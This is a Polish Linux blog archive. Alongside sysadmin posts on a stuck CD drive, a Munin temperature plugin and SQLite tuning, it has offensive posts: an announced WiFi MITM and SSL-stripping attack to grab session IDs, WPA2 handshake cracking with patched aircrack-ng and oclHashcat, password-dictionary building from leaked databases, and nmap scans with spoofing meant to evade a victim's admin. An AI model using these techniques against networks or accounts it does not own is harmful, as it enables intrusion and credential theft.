Category Archives: Linuks

Buffer I/O error on device sr0, logical block 0

Sprawdzając dzisiaj stare płyty, miałem problem z wysunięciem płyty, nie dało się jej też odczytać, polecenie

eject sr0 -rm

nie działo.

Po uzyskaniu z dmesga błędu:

[ 1067.416522] Buffer I/O error on device sr0, logical block 0
[ 1075.923084] sr 1:0:0:0: [sr0] Unhandled sense code
[ 1075.923088] sr 1:0:0:0: [sr0]  Result: hostbyte=DID_OK driverbyte=DRIVER_SENSE
[ 1075.923097] sr 1:0:0:0: [sr0]  Sense Key : Hardware Error [current]
[ 1075.923105] sr 1:0:0:0: [sr0]  Add. Sense: Timeout on logical unit
[ 1075.923115] sr 1:0:0:0: [sr0] CDB: Read(10): 28 00 00 00 00 00 00 00 02 00
[ 1075.923130] end_request: I/O error, dev sr0, sector 0
[ 1075.923137] Buffer I/O error on device sr0, logical block

Płyta nie była nigdzie zamontowana, jedynie istniał proces dla napędu, który nie był zamontowany:

umount: /dev/sr0: not mounted

 

Solution:

root@Agilob-PC:# lsof /dev/sr0
COMMAND  PID USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
blkid   4079 root    3r   BLK   11,0      0t0 7203 /dev/sr0

root@Agilob-PC:# kill -s 9 4079
root@Agilob-PC:# eject

I napęd się wysunął.

Plugin monitorujący temperaturę GPU, CPU i HDD

Pomyślałem dzisiaj, że przydał by się plugin do monitorowania kilku temperatur w PC.
Już od dawna parę rzeczy monitoruje mi Munin, jednak są to same gotowce do monitorowania sieci:


Koniec… do roboty!

Przechodzim na roota, hop:


cd /etc/munin/plugins nano temp_stats
#!/bin/sh
case $1 in
   config)
        cat < <'EOM'
graph_peroid 20
graph_category sensors
graph_title Temperatures
graph_vlabel Celsius
cpu_temp.label i7
hdd_temp.label HDD
gpu_temp.label AMD_ATI
 
EOM
        exit 0;;
esac
 
echo -n "cpu_temp.value "; acpi -t | grep "[[:digit:]]{2}.[[:digit:]]" -o
echo -n "hdd_temp.value "; TEMP=`hddtemp -n /dev/sda`; echo $TEMP".0"
echo -n "gpu_temp.value "; DISPLAY=:0.0 sudo aticonfig --adapter=1 --od-gettemperature | grep "[[:digit:]]{2}.[[:digit:]]" -o

Żeby Munin mógł wykonywać aticonfig (żeby zbierać statystyki o karcie graficznej), trzeba zedytować plik /etc/sudoers i dopisać trzeba taką linijkę:

nobody ALL=NOPASSWD: /usr/bin/aticonfig

Żeby sprawdzić czy wszystko jest dobrze:

 munin-run temp_stats

U mnie wynik jest taki:

root@Agilob-PC:/etc/munin/plugins# munin-run stat_temp
cpu_temp.value 87.0
hdd_temp.value 33.0
gpu_temp.value 85.5

Następnie wpisać:

/etc/init.d/munin-node

Teraz przez kilka minut zbierane są dane i będzie powstawał wykres:

Tadam!

[WiFi] – Sniffing połączeń szyfrowanych w sieci bezprzewodowej

Sniffing/MITM w sieciach bezprzewodowych Atak Man In The Middle, podczas którego będziemy sniffowali sobie sieć i patrzyli kto jest zalogowany na nk i jaki ma numer sesji logowania.

Do dzieła.

Czego potrzebujesz?

  • Linuxa
  • Netstat (included in linux)
  • IPTables (included in linux)
  • Arpspoof (składnik dsniffa, apt-get install dsniff -y)
  • SSLStrip wersja 0.9.0
  • Być podłączonym do sieci, którą atakujesz.

Continue reading

Optymalizacja SQLite3

Wykonywanie transakcji:

Domyślnie  każde wykonanie INSERT/UPDATE w SQLite3 jest oddzielną operacją, zaznaczenie w bazie danych:

BEGIN TRANSACTION;

Spowoduje, że wszystkie operacje po zaznaczeniu tej opcji będą traktowane jako jedna operacja. Warto tę opcję zaznaczyć gdy mamy do wykonania dużo operacji INSERT/UPDATE. Po zakończeniu działań na bazie danych zamykamy transakcję:

END TRANSACTION;

 

Wyłączenie synchronizacji:

Domyślnie SQLite za-pauzuje wykonywanie operacji po wydaniu komendy do systemu operacyjnego o zapisanie danych. To gwarantuje, że dane są zapisane na dysk. Wyłączenie synchronizacji przez użycie:

synchronous = OFF;

Nakazujemy SQLiteowi trzymanie danych w pamięci przed zapisaniem danych i kontynuowanie pracy. Możliwe jest, że baza danych zostanie uszkodzona, jeśli system operacyjny zaliczy błąd lub gdy nieoczekiwanie przerwiesz wykonywanie skryptu (przez Ctrl +Z), zwykłe zatrzymanie skryptu (Ctrl + C) nakazuje serwerowi SQLite zapisać dane do bazy przed zakończeniem programu.

 

 

Notowanie w pamięci:

Rozważmy przechowywanie danych w pamięci RAM przez użycie opcj:

PRAGMA journal_mode = MEMORY;

Twoje transakcje będą dużo szybsze, jednak jeśli stracisz zasilanie, lub skrypt dodający dane wykrzaczy się, baza danych zostanie uszkodzona (testowane).

 

 

Połączenie synchronizacji i trzymania danych w pamięci:

Połączenie obu opcji daje bardzo duże przyspieszenie, jednak znacząco zwiększa ryzyko uszkodzenia pliku z bazą danych:
PRAGMA journal_mode = MEMORY;
PRAGMA synchronous = OFF;

 

 

Zwiększenie cache:

PRAGMA cache_size = -1048576 jeśli przed liczbą całkowitą stoi minus, liczba ta oznacza wtedy ilość bajtów, ile ma zajmować cache w tym uruchomieniu bazy danych, w tym wypadku oznacza to, że cache ma mieć wielkość 1MB, jeśli przed liczbą nie ma znaku to oznacza to ilość stron, domyślnie ilość to 2000.

 

 

Zwiększenie rozmiaru strony:

Zmniejszyć lub zwiększyć można ją przez użycie:

PRAGMA page_size = 2n.

Po znaku równości musi być wynik podniesienia liczby 2 to potęgi całkowitej. Domyślnie ustawione na 8192, może przyjąć wartości od 512 do 65536.

 

 

:inmemory: znane z SQLite API dla C++/C/Perl użyte w SQLite3:

Ustawienie parametru temp_store na 2 nakaże bazie danych przechowywanie wszelkich informacji w pamięci podręcznej komputera, zamiast zapisywać je co krok na dysku, znacznie przyspiesza insercję danych do bazy:

PRAGMA temp_store = 2;

“Matką” tej opcji jest SQLITE_TEMP_STORE=3 użyte do kompilowania serwera SQLite. Parametr kompilacji ustawiony na 3 oznacza, że wszystkie operacje mają być wykonywane w pamięci RAM, całkowicie pomijając używanie plików tymczasowych.

 

Yyymmm… wielotabelowość(?):

Używanie wielu tabel zwiększa czas dostępu do danych i zapisu do bazy. Jeśli Twoja baza danych jest poszerzana systematycznie co jakiś czas, warto dodać pętlę, która np. co miesiąc utworzy nową tabelę, w której będą zapisywane dane przez ten miesiąc. Baza stanie się w ten sposób również bardziej skalowalna.

oclHashCat-Plus odzyskuje hasła z WPA2

… od dawna ;)

Do OclHashCat-plus jakiś czas temu została wprowadzona możliwość odzyskiwania haseł z pakietów z handshake WPA/WPA2. Żeby tego używać trzeba dodać patcha do aircrack-ng, który wyciągnie z pakietów sam hash z autoryzacji.

Przed wykonaniem poniższych poleceń zalecane jest usunięci aircrack-ng poprzez:

apt-get autoremove --purge aircrack-ng

 

A pobierzemy, zpatchujemy program tymi poleceniami:

apt-get install subversion -y
svn co -r 1959 http://trac.aircrack-ng.org/svn/trunk aircrack-ng
cd aircrack-ng
wget http://trac.aircrack-ng.org/raw-attachment/ticket/937/oclHashcat-plus-wpa-support.patch
cat oclHashcat-plus-wpa-support.patch | patch -Np0
make sqlite=true unstable=true install

Następnie okno pomocy aircrack-ng będzie wyglądało tak:

aircrack-ng
 
Aircrack-ng 1.1 r1959 - (C) 2006-2010 Thomas dOtreppe
Original work: Christophe Devine
 
http://www.aircrack-ng.org
 
usage: aircrack-ng [options] <.cap / .ivs file(s)>
 
Common options:
 
-a <amode> : force attack mode (1/WEP, 2/WPA-PSK)
-e <essid> : target selection: network identifier
-b <bssid> : target selection: access point's MAC
-p <nbcpu> : # of CPU to use  (default: all CPUs)
-q         : enable quiet mode (no status output)
-C <macs>  : merge the given APs to a virtual one
-l <file>  : write key to file
 
Static WEP cracking options:
 
-c         : search alpha-numeric characters only
-t         : search binary coded decimal chr only
-h         : search the numeric key for Fritz!BOX
-d <mask>  : use masking of the key (A1:XX:CF:YY)
-m <maddr> : MAC address to filter usable packets
-n <nbits> : WEP key length :  64/128/152/256/512
-i <index> : WEP key index (1 to 4), default: any
-f <fudge> : bruteforce fudge factor,  default: 2
-k <korek> : disable one attack method  (1 to 17)
-x or -x0  : disable bruteforce for last keybytes
-x1        : last keybyte bruteforcing  (default)
-x2        : enable last  2 keybytes bruteforcing
-X         : disable  bruteforce   multithreading
-y         : experimental  single bruteforce mode
-K         : use only old KoreK attacks (pre-PTW)
-s         : show the key in ASCII while cracking
-M <num>   : specify maximum number of IVs to use
-D         : WEP decloak, skips broken keystreams
-P <num>   : PTW debug:  1: disable Klein, 2: PTW
-1         : run only 1 try to crack key with PTW
 
WEP and WPA-PSK cracking options:
 
-w <words> : path to wordlist(s) filename(s)
 
WPA-PSK options: -E <file>  : create EWSA Project file v3
-J <file>  : create Hashcat Capture file
-S         : WPA cracking speed test 
 
Other options:
 
-u         : Displays # of CPUs & MMX/SSE support
--help     : Displays this usage screen
 
No file to crack specified.

Następnie aby oclhashcat mógł operować na handshaku, trzeba wypakować go z reszty pakietów:

aircrack-ng -J odzyskany.hcap plik_z_handshake.cap
Następnie użycie OclHashCata wygląda tak:
./oclHashcat-plus64.bin ../odzyskany.hccap -m 2500

Źródło.

Tworzenie słowników…

Dam Ci rady jak możesz zrobić swoje proste i te bardziej złożone słowniki.

Nie baw się w żadne 27GB słownik… bo taki sam wygenerujesz smartfonem w parę godzin. Używanie dużego słownika wiąże się ze zużyciem dysku, a wygenerowanie takiego w locie (bez zapisywania) na i7 z 8 wątkami to 3 minuty, odczyt z dysku i porównanie zajmie więcej czasu.

Ściągnij wszelkie bazy danych do jakich masz dostęp, jakiś mały słownik, przeskanuj te bazy danych:

1. brute-force’m ile możesz; do długości wyrazu min. 8 znaków

2. odzyskane hasła zapisuj do słownika

3. puszczaj te bazy ponownie przez słownik z regułami (patrz 1.)

4. wróć do punktu 2. zmień i dodaj reguły, wykonaj ten punkt min. 6 razy

5. Usuń duplikaty ze słowników.

Ten perlowy skrypt usuwa duplikaty ze słownika. Dlaczego jest lepszy od uniq i jtr? Bo wrzuca słownik do pamięci RAM nie do /tmp dzięki czemu usuwanie jest tysiące razy szybsze, nie ma zużycia dysku i nie wysypie Ci się system przy zapełnieniu całej partycji /tmp (co innego jak zapełni Ci się RAM, złapiesz laga na kilkanaście minut ;)).

#!/usr/bin/perl -w
use strict;
#usuwa duplikaty z pliku
my $origfile = "2";
my $outfile = "none-" . $origfile;
my %hTmp;
 
open (IN, "< $origfile") or die "Couldn't open input file: $!";
open (OUT, ">$outfile") or die "Couldn't open output file: $!";
 
while (my $sLine = ) {
next if $sLine =~ m/^s*$/; #remove empty lines
$sLine=~s/^s+//; #strip leading/trailing whitespace
$sLine=~s/s+$//;
print OUT qq{$sLinen} unless ($hTmp{$sLine}++);
}
close OUT;
close IN;

Skrypt był publiczny w Interncie.

No i w sumie to tyle. Po kilku dużych wyciekach baz danych będziesz miał więcej do roboty, ale będzie też szybciej leciało bo słownik będzie większy.

Techniki skanowania hostów

Techniki maskujące skanowanie (stealth technique), mają utrudnić/uniemożliwić administratorowi (później określanego jako ofiara) wykrycie skanowanie. Do tych technik można zaliczyć wykorzystywanie słabości reguł ustalonych w RFC (Request for Comment), ustawień firewalla czy daemona/OS którego skanujemy.

Słabości w RFC są ukazane we wszystkich skanach oprócz TCP Connect i TCP XMAS.
W TCP Connect dlatego, że następuje pełne połączenie między atakującym a ofiarą, na wielu portach w niedługim czasie, przeglądając logi można to nawet optycznie zauważyć.

Wybrałem tą metodę do opisania jako łatwiejsza do wykrycia, gdyż jeśli dbamy o siebie nie będziemy jej używali, tak samo jak ICMP (-sP) lub UDP (-sU) Scanning (nie dość, że są łatwe do wykrycia już przez samego firewalla to nie gwarantują, że wynik skanowania jest prawdziwy!), równie dobrze mogłem opisać te dwie, jako przestrogę, nie polecam ich używać.

Pozostałe techniki skanowania nie pozostawiają (tak wielu jak TCP-C) śladów przy skanowaniu.

Metody skanowania. Jak zbudowanymi pakietami się posługiwać?

 

TCP Connect

Metoda skanowania, w której w czasie wykrywania otwartych portów przeprowadzane jest całkowicie połączenie TCP z portem. Skanowanie polega na wysyłaniu na dane porty zapytań TCP z flagą SYN (mogę się połączyć?). Zależnie od odpowiedzi pytanego ustala się czy port jest otwarty czy nie. Odpowiedź z flagą SYN/ACK (pytanie zaakceptowano) oznacza, że port jest otwarty, flaga RST/ACK (poszoł von!) oznacza niechęć do ustanowienia połączenia. Odebranie pakietu z flagą SYN/ACK powoduje odpowiedź od pytającego flagą ACK (spoko, to się połączyliśmy). Użycie nmapa do przeprowadzenia tego skanowania:

# nmap -sT 192.168.1.2

Starting Nmap 5.00 ( http://nmap.org ) at 2011-02-12 15:34 CET
Interesting ports on 192.168.1.2:

Not shown: 999 closed ports
PORT STATE SERVICE
80/tcp open http

Jest to metoda łatwa do wykrycia, odpytywane są wszystkie porty, z każdym następuje próba nawiązania pełnego połączenia TCP, wszystko jest w logach.

 

TCP SYN Scanning

Podobne do TCP Connect, jednak bezpieczniejsze od powyższego. Skanowanie polega na wysłaniu TCP z flagą SYN, odebraniu odpowiedzi SYN/ACK lub RST/ACK, tutaj jest różnica, TCP Connect wysyła pakiet z flagą ACK (której ofiara oczekuje) przez co nawiązuje połączenie z hostem, przy SYN Scanning nie odpowiada się żadną flagą, przez co nie ma pełnego nawiązania połączenia, więc nie może ono być zalogowane.

# nmap -sS 192.168.1.2

Starting Nmap 5.00 ( http://nmap.org ) at 2011-02-12 15:40 CET
Interesting ports on 192.168.1.2:

Not shown: 999 closed ports
PORT STATE SERVICE
80/tcp open http

 

TCP FIN Scanning

Do ofiary wysyłany jest pakiety TCP z flagą FIN. Reguła wzięta z RFC mówi, że zamknięty port odpowie pakietem z flagą RST (nie ma mnie), otwarty port oleje takie zapytanie. Odpowiedzi uzyskiwane przez ten sposób skanowania są nieco bardziej szczegółowe:

# nmap -sF 192.168.1.2

Starting Nmap 5.00 ( http://nmap.org ) at 2011-02-12 15:51 CET
Interesting ports on 192.168.1.2:

Not shown: 999 closed ports
PORT STATE SERVICE
80/tcp open|filtered http

 

TCP ACK Scanning

Skanowanie jest oszukanym skanowaniem, oszukiwana jest ofiara. Oszustwo polega na skanowaniu, które zaczyna się od zapytania TCK ACK (dzięki za połączenie), ofiara zastanawia się o jakie podziękowanie chodzi, bo wcześniejszych zapytań nie ma w pamięci. Port zamknięty odpowie RST (jak w zapytaniu TCP FIN), port otwarty nic nie odpowiada. Tą metodą można sprawdzać ustawienia firewalla, odpowiedź RST zasugeruje, że port może być niefiltrowany przez firewalla.

# nmap -sA 192.168.1.2
Starting Nmap 5.00 ( http://nmap.org ) at 2011-02-12 15:57 CET
All 1000 scanned ports on 192.168.1.2 are unfiltered

 

TCP NULL Scanning

Skanowanie polega na wysłaniu do ofiary pakietów TCP NULL, czyli bez ustawionej żadnej flagi. Identycznie jak w ACK czy FIN – odpowiedź RST powie, że port jest zamknięty, brak odpowiedzi=port otwarty.

# nmap -sN 192.168.1.2

Starting Nmap 5.00 ( http://nmap.org ) at 2011-02-12 15:59 CET
Interesting ports on 192.168.1.2:

Not shown: 999 closed ports
PORT STATE SERVICE
80/tcp open|filtered http

 

TCP XMAS Scanning

Skanowanie polega na wysłaniu do hosta pakietu z ustawionymi trzema flagami: FIN – dobra, koniec. URG – dostarcz szybko! Ważne! PSH – dostarcz do odpowiedniej aplikacji3

# nmap -sX 192.168.1.2

Starting Nmap 5.00 ( http://nmap.org ) at 2011-02-12 16:05 CET
Interesting ports on 192.168.1.2:

Not shown: 999 closed ports
PORT STATE SERVICE
80/tcp open|filtered http

Wyżej opisane zostały techniki do wyboru jakimi można skanować same porty. Teraz zajmiemy się metodami wykrywania usług działającymi na danym porcie. Wykrywanie systemu operacyjnego działającego na danym hoście określamy za pomocą -O

# nmap 192.168.1.3 -sS -O

Starting Nmap 5.00 ( http://nmap.org ) at 2011-02-12 16:15 CET
Interesting ports on 192.168.1.3:

Not shown: 994 filtered ports
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
5357/tcp open unknown
MAC Address: 00:1F:E1:02:DC:9E (Hon Hai Precision Ind. Co.)
Warning: OSScan results may be unreliable becaus
we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows Vista|2008
OS details: Microsoft Windows Vista SP0 or SP1 or Server 2008 SP1
Network Distance:1 hop

Otrzymany wynik nie jest jakimś cudownie uzyskaną odpowiedzią na pytanie “co za OS z ciebie?” odpowiedź jest zgadywana dzięki kilku szczegółom nawiązywania połączenia (np. różnice wynikające z systemu operacyjnego, Windows wysyła pakiety o innej wartości TLL niż Linux, czy pozostawiony fingerprint). NMAP oferuje nam skanowanie samych usług działających na hoście:

# nmap 192.168.1.3 -sC

Starting Nmap 5.00 ( http://nmap.org ) at 2011-02-12 16:46 CET
Interesting ports on 192.168.1.3:

Not shown: 994 filtered ports
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
5357/tcp open unknown
MAC Address: 00:1F:E1:02:DC:9E (Hon Hai Precision Ind. Co.)

Host script results:
|_ nbstat: NetBIOS name: ADMIN-PC, NetBIOS user: ,
NetBIOS MAC: 00:1f:e1:02:dc:9e
| smb-os-discovery: Windows Vista (TM) Home Basic 6002 Service Pack 2
| LAN Manager: Windows Vista (TM) Home Basic 6.0
| Name: WORKGROUPADMIN-PC
|_ System time: 2011-02-12 16:46:44 UTC+1

 

Jednak więcej danych o OS i usługach dowiemy się z:

# nmap 192.168.1.3 -sS -A

Starting Nmap 5.00 ( http://nmap.org ) at 2011-02-12 16:21 CET
Interesting ports on 192.168.1.3:

Not shown: 994 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http?
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn
443/tcp open skype2 Skype
445/tcp open netbios-ssn
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ html-title: Service Unavailable
1 service unrecognized despite returning data.
If you know the service/version, please submit the following
fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
SF-Port80-TCP:V=5.00%I=7%D=2/12%Time=4D56A573%P=x86_64-unknown-linux-gnu%r
SF:(GetRequest,1A,"HTTP/1.0x20404x20Notx20Foundrnrn")%r(HTTPOption
SF:s,6F,"Fxe0x01x8fxe0xe5xe9x88xc2RM"x8cxe7Ux99@xb7x1cx0fx
SF:d2xd8xddxffxc3xf0Tqxa4xcaxffxc3xe3xe2OFxcdYAx8d_xc1kx0f
SF:xbexcbkxdbu"xab`QNxe7lxed:xe38Ixe6x9fxc4eRx1bx10A~Wx1cxdd
SF:jSxe89x16x0ftUx82x8bxc01xaexc7xccxcdx9axc3x98)Fx7f$Exb
SF:2xfbp!xde7|xbdxca3Hx19vxef")%r(RTSPRequest,49,"xa0xc7x95xd1
SF:xfbx7fxc7xb5x[xe3xffx13xc0xb5xd5Txe6xbfxacxbex81exxaax
SF:bdx7fox96xd4x9aVdHJx8bx9fhxc1x1fx0fxbfEjxb4)UPx81xbex9
SF:7x1dxaax93(yVOxb4x95xc2xcbqxeex07x0crxdax03xd8")%r(F
SF:ourOhFourRequest,1A,"HTTP/1.0x20404x20Notx20Foundrnrn")%r(RPCCh
SF:eck,6D,"x97Q(LLxc5xd9]xd8xc0xba=jx02xd1yxd6"x8fxf7xd4x0
...(celowo ucięty wynik skanu)..
SF:).xf3Wxbe.PHx19vxefxd45xe2kx20x11x0exa7,xadxfaxa3xf8t
SF:xa6_x84%x12xdbxd0x01>x17xdcx9d*x13xa8xf9xd6xcf4x15BKx80
SF:xf1nx87x8cx8dZx83Xxe9x06?xe4x05rxbb0xe1x9exf7<}>x,xa6Tx
SF:16xd4x01");
MAC Address: 00:1F:E1:02:DC:9E (Hon Hai Precision Ind. Co.)
Warning: OSScan results may be unreliable because we could not
find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows Vista|2008
OS details: Microsoft Windows Vista or Windows Server 2008 SP1,
Microsoft Windows Vista SP0 or SP1 or Server 2008 SP1
Network Distance: 1 hop
Service Info: OS: Windows

Host script results:
|_ nbstat: NetBIOS name: ADMIN-PC, NetBIOS user: ,
NetBIOS MAC: 00:1f:e1:02:dc:9e
| smb-os-discovery: Windows Vista (TM) Home Basic 6002 Service Pack 2
| LAN Manager: Windows Vista (TM) Home Basic 6.0
| Name: WORKGROUPADMIN-PC
|_ System time: 2011-02-12 16:22:38 UTC+1

 

Za pomocą tych opcji nmapa udało się uzyskać następujące dane:

  • Nazwa komputera: ADMIN-PC
  • MAC ADDR: 00:1f:e1:02:dc:9e
  • Producent karty sieciowej: Hon Hai Precision Ind. Co
  • System operacyjny: Windows Vista (TM) Home Basic 6002 Service Pack 2
  • Grupa do której należy komputer: WORKGROUP
  • Czas na komputerze skanowanym: 2011-02-12 16:22:38 UTC+
  • O włączonych usługach:
  • 443/tcp open skype2 Skype
  • 135/tcp open msrpc Microsoft Windows RPC

Wykrywanie usług poprzez skan na danym porcie wykonasz za pomocą:

/# nmap 192.168.1.3 -sC -p 80,81,82

Starting Nmap 5.00 ( http://nmap.org ) at 2011-02-12 16:49 CET
Interesting ports on 192.168.1.3:

PORT STATE SERVICE
80/tcp open http
81/tcp filtered hosts2-ns
82/tcp filtered xfer
MAC Address: 00:1F:E1:02:DC:9E (Hon Hai Precision Ind. Co.)
To samo tylko inny zapis:
# nmap 192.168.1.3 -sC -p 80-82

Tempo skanowania nmapem określa się dodając parametr -T Gdzie liczba stoi zaraz za T, bez odstępu:

root@Asus-PC:/# nmap 192.168.1.3 -sC -T1 – najwolniejsze

root@Asus-PC:/# nmap 192.168.1.3 -sC -T5 – najszybsze

Liczba całkowita od 0 do 5.

Ten parametr dodany jest by celowo spowolnić skanowanie, czyli porozrzucać dane o skanowaniu w logach gdzieś pomiędzy prawidłowymi poleceniami

Wysyłanie zapytań z danego portu lokalnego zrobisz za pomocą opcji –source-port

A interface z którego wysyłać dane podasz z pomocą -e

Za czyjś adres z sieci lokalnej podszyjesz się przy pomocy parametru -S

Ciekawą przygodę miałem z tym spoofingiem gdy znajomy miał tak skonfigurowanego firewalla, że gdy ktoś go skanował, skrypt blokował możliwość połączenia z tym IP (blacklist), miał on problem gdy pewnego dnia sam switch zaczął go skanować :>

# nmap 192.168.1.3 -sC -T5 -e wlan0 -PN -S 192.168.1.1

Starting Nmap 5.00 ( http://nmap.org ) at 2011-02-12 17:00 CET
Interesting ports on 192.168.1.3:

Not shown: 994 filtered ports
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
5357/tcp open unknown
MAC Address: 00:1F:E1:02:DC:9E (Hon Hai Precision Ind. Co.)

Host script results:
|_ nbstat: NetBIOS name: ADMIN-PC, NetBIOS user: ,
NetBIOS MAC: 00:1f:e1:02:dc:9e
| smb-os-discovery: Windows Vista (TM) Home Basic 6002 Service Pack 2
| LAN Manager: Windows Vista (TM) Home Basic 6.0
| Name: WORKGROUPADMIN-PC
|_ System time: 2011-02-12 17:00:44 UTC+1

Jest także możliwość spoofowania MAC ADDR używają parametru –spoof-mac . Dodatkowe użycie parametru -f każe programowi fragmentować pakiety, ta opcja także pomaga zachować naszą anonimowość, no przynajmniej utrudni adminowi wykrycie skanowania.

Microkernel, L4, HURD

1. Opis różnych kerneli
2. Systemy operacyjne oparte na microkernelu
3. Historia Debiana
4. L4
5. Coś o systemie
6. Komu Hurd

Kernel? Z czym to się je?


Jądro monolityczne – to rodzaj jądra systemu operacyjnego, w którym większa część funkcji jądra zaimplementowana jest w pojedynczym obrazie pamięci, który ładowany jest na stałe do pamięci komputera przez bootloader. Zdarza się jednak, że do jądra monolitycznego (zwanego wtedy modularnym) dopisywana jest możliwość ładowania modułów, które jednak nie realizują najbardziej podstawowych funkcji jądra.

Jądro monolityczne cechuje się wyższą wydajnością niż mikrojądro, zwłaszcza w systemach jedno-procesorowych oraz przy obciążaniu systemu tylko jednym dużym procesem.

Jądro hybrydowe jest jądrem opartym o zmodyfikowane architektury jądra monolitycznego oraz mikrojądra używanych w systemach operacyjnych. Ten rodzaj jądra budzi kontrowersje w porównaniu do podobnego jądra monolitycznego, pojęcie to, przez niektórych specjalistów zostało odebrane jako marketing.

Exokernel jest typem jądra, który nie ‘przyczepia’ hardwaru do teoretycznych modeli. Zamiast to przydziela fizyczne zasoby hardware takie jak karty pamięci, klastry dysku, takt procesora. System działający na exokernelu może łączyć się do bibliotek systemu operacyjnego, czego używa do symulowania abstrakcyjnego obrazu systemu operacyjnego, lub może rozwijać rdzenne aplikacje w celu otrzymania lepszej wydajności.

Nanokernel oddelegowuje praktycznie wszystkie usługi – w tym nawet najbardziej podstawowe, np. przerwanie kontrolerów czy licznik – co do sterowników, jądra pamięci. Wymagania ma nawet mniejsze niż tradycyjne mikrojądra.

Microkernel to rodzaj jądra systemu operacyjnego zawierającego tylko najpotrzebniejsze elementy systemu. W informatyce mikrokernel jest jądrem, który zaopatruje mechanizmy potrzebne do utrzymania systemu operacyjnego takie jak niski poziom adresacji przestrzeni, zarządzanie procesami, komunikacja miedzy procesami. Jeśli hardware wyposażony jest w różne stopnie uprzywilejowania, wtedy microkernel jest tylko oprogramowaniem zarządzającym na najbardziej uprzywilejowanym poziomie. Obecnie system operacyjny obsługuje sterowniki, stosy protokołów, system plików, interfejs użytkownika, które są zawarte w przestrzeni użytkowania. Mikrokernel jest blisko związany z exokernelem. Mają też wiele wspólnego z Monitorem Maszyny Wirtualnej (VMM), ten ostatni nie dąży do miniaturyzacji. Microkernele są wyspecjalizowane do wspierania maszyn wirtualnych. Microkernel L4 jest często używany jako VMM.

L3
L3 jest microkernelem działającym pod komputerami Intela x86. L3 jest zaprojektowany by był chudym jądrem, a cechuje go głównie szybkość, łatwość użycia mechanizmu stronicowania i mechanizm ochrony domen systemowych. L3 jest poprzednikiem L4 oba jądra zostały zaprojektowane przez Jochna Liedtka.

L4
Po kilku próbach na L3, Liedtke przeszedł do realizacji kilku innych projektów Mach, których koncepcje także były źle urzeczywistniane. Przez uproszczenie koncepcji mikrojądra, wciąż rozwijał pierwszy L4, który był początkowo zaprojektowany z uwagą na wysoką wydajność.
w celu wyciągnięcia najwyższej wydajności cały kernel został napisany w assemblerze. Jego praca spowodowała rewolucję w projektowaniu systemów operacyjnych.

Był on krótko badany przez uniwersytety i instytuty badań, także przez IBM. Liedtke rozpoczął prace w 1996. W IBM w Centrum Badań Liedtke Thomas John Watson i jego i koledzy kontynuowali badania nad L4 i microkernelami bazującymi na L4.


Microkernel nie jedno ma imię.


W podejściu do projektowania systemu operacyjnego opartego na microkernelu podkreślany jest podział na mniejsze moduły, co lepiej spełnia podstawowe funkcje jądra systemu i daje większe możliwości konfiguracyjne daje większą elastyczność systemu.

W rzeczywistości wydajność microkernela nie często jest wysoka, za to realizacja projektu jest skomplikowana i do dzisiaj większość systemów operacyjnych jest oparta ja jądrze monolitowym.

WindowsNtKernel, Minix, BeOS, QNX, GNU/Hurd, XNU, Mach bazują na micorkernelu i są to bardzo szybkie i dość niezawodne systemy. W zasadzie XNU nie bazuje na microkernelu, tylko na microkernelu z elementami jądra BSD i częściami specyficznymi dla Darwin, wszystko działa w przestrzeni kernela.

WindowsNtKernel nie jest także microkernelem, chociaż został oznaczony jako microkernel, gdy były one popularne… Dla przykładu w NT warstwa wykonawcza jest wdrożona nad warstwą obsługującą hardware. W prawdzie microkernel sam jest warstwą jadra, teraz odkąd GUI zostało przeniesione do przestrzeni jądra NT jest mniejszym systemem.

BeOS microjądro tego systemu zostało podzielone na mniejsze moduły. System nie jest już rozwijany.

QNX system, którego głównym przeznaczeniem są obliczenia w czasie rzeczywistym, polega to mniej więcej na tym, że jest “wbudowany” w sprzęt jaki obsługuje(pokłady samolotowe, statki, rakiety, kuchenki, pokłady samochodowe…), daje mu to doskonałą precyzją działań, niezawodność i możliwości konfiguracyjne zależne są od sprzętu na jakim działa.

XNU – inaczej jądro systemu Mac OS X, stworzony i rozwijany przez Apple Inc. zarezerwowany dla systemów Mac OX S oraz Darwin. Nazwa powstała z akronimu rekurencyjnego XNU is Not Unix”.

 

Historia Debiana


Projekt Debiana (nazwa utworzona od imienia fundatora OS [Ian] i jego żony [Debra]) został oficjalnie założony przez Ian Murdock’a 16 kwietnia 1993 roku. Na początku cała koncepcja dystrybucji Linuxa była nowością. Ian przeznaczył Debiana na dystrybucję która miała być ‘otwarta'(kod źródłowy), w duchu Linuxa i GNU. Tworzenie Debiana było sponsorowane przez FSU GNU przez rok (koniec 1994 – – koniec 1995).

Debian oznaczało bycie bezpiecznym i sumiennym jednocześnie, w obu kierunkach rozwijany był w podobnym tempie. Wystartowało jako mała grupa hakerów popierających ruch wolnego oprogramowania i stopniowo stawało się coraz większą, lepiej organizowaną społeczność developerów i użytkowników.

Kiedy to się zaczynało, Debian był tylko dystrybucją, która była otwarta dla każdego developera i użytkownika gotowa do ich pracy. Pozostaje najbardziej znaczącą dystrybucją Linuxa i nie jest skomercjalizowana. Jest to duży projekt z konstytucją, grupą społeczeństwa tworzącą go i zasadami, którymi kieruje się przy organizacji projektu. Debian jest także dystrybucją, która zachowuje ścisłą niezależność zapewniającą zwięzłość ze wszystkimi dodatkowymi paczkami.

HURD to zbiór serwerów uruchamianych na platformie microjądra GNU Mach. Obecnie HURD Debian jest dostępny tylko na Linuxa, ale Debian GNU/HURD staje się dostępny dla GNU/HURD jako dystrybucja dla serwerów i platform domowych. Debian GNU/HURD nie został jeszcze oficjalnie wydany i w najbliższym czasie nie będzie.

 

Początek ważna rzecz.


